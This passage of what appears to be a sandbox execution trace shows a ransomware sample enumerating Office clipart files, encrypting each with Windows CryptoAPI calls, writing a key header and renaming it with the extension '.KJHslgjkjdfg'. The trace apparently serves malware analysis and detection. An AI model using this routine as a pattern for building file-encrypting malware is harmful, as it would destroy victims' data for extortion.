lpNumberOfBytesWritten=0x4dff270*=0x55a0, lpOverlapped=0x0) returned 1 [0197.629] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.630] SetEndOfFile (hFile=0x130) returned 1 [0197.639] GetProcessHeap () returned 0x2ef0000 [0197.639] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.639] GetProcessHeap () returned 0x2ef0000 [0197.639] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.kjhslgjkjdfg")) returned 1 [0197.640] CloseHandle (hObject=0x130) returned 1 [0197.641] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0197.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.641] GetProcessHeap () returned 0x2ef0000 [0197.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.641] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0197.644] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.644] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.644] GetProcessHeap () returned 0x2ef0000 [0197.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.644] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.644] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.645] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.645] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.645] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.645] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x65e6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x65e6, lpOverlapped=0x0) returned 1 [0197.646] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x65f0, dwBufLen=0x65f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x65f0) returned 1 [0197.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.646] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x65f0, lpOverlapped=0x0) returned 1 [0197.647] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x66c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.647] SetEndOfFile (hFile=0x130) returned 1 [0197.650] GetProcessHeap () returned 0x2ef0000 [0197.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.650] GetProcessHeap () returned 0x2ef0000 [0197.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.kjhslgjkjdfg")) returned 1 [0197.651] CloseHandle (hObject=0x130) returned 1 [0197.651] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0197.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.652] GetProcessHeap () returned 0x2ef0000 [0197.652] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.652] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.652] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0197.653] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.653] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.653] GetProcessHeap () returned 0x2ef0000 [0197.653] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.654] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.654] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.654] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.654] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2dae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2dae, lpOverlapped=0x0) returned 1 [0197.655] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2db0, dwBufLen=0x2db0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2db0) returned 1 [0197.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.656] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2db0, lpOverlapped=0x0) returned 1 [0197.656] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.656] SetEndOfFile (hFile=0x130) returned 1 [0197.658] GetProcessHeap () returned 0x2ef0000 [0197.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.658] GetProcessHeap () returned 0x2ef0000 [0197.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.kjhslgjkjdfg")) returned 1 [0197.659] CloseHandle (hObject=0x130) returned 1 [0197.659] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0197.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.661] GetProcessHeap () returned 0x2ef0000 [0197.661] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.661] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.661] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.663] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.663] GetProcessHeap () returned 0x2ef0000 [0197.663] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.663] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.663] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.664] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.664] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.664] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3632, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3632, lpOverlapped=0x0) returned 1 [0197.665] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3640, dwBufLen=0x3640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3640) returned 1 [0197.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.665] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3640, lpOverlapped=0x0) returned 1 [0197.665] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.666] SetEndOfFile (hFile=0x130) returned 1 [0197.668] GetProcessHeap () returned 0x2ef0000 [0197.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.668] GetProcessHeap () returned 0x2ef0000 [0197.668] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.kjhslgjkjdfg")) returned 1 [0197.671] CloseHandle (hObject=0x130) returned 1 [0197.671] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0197.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.673] GetProcessHeap () returned 0x2ef0000 [0197.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.673] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.673] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0197.676] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.676] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.676] GetProcessHeap () returned 0x2ef0000 [0197.676] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.676] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.676] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.676] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.677] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.677] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.677] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b11, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b11, lpOverlapped=0x0) returned 1 [0197.678] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b20) returned 1 [0197.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.678] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b20, lpOverlapped=0x0) returned 1 [0197.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.679] SetEndOfFile (hFile=0x130) returned 1 [0197.679] GetProcessHeap () returned 0x2ef0000 [0197.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.679] GetProcessHeap () returned 0x2ef0000 [0197.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 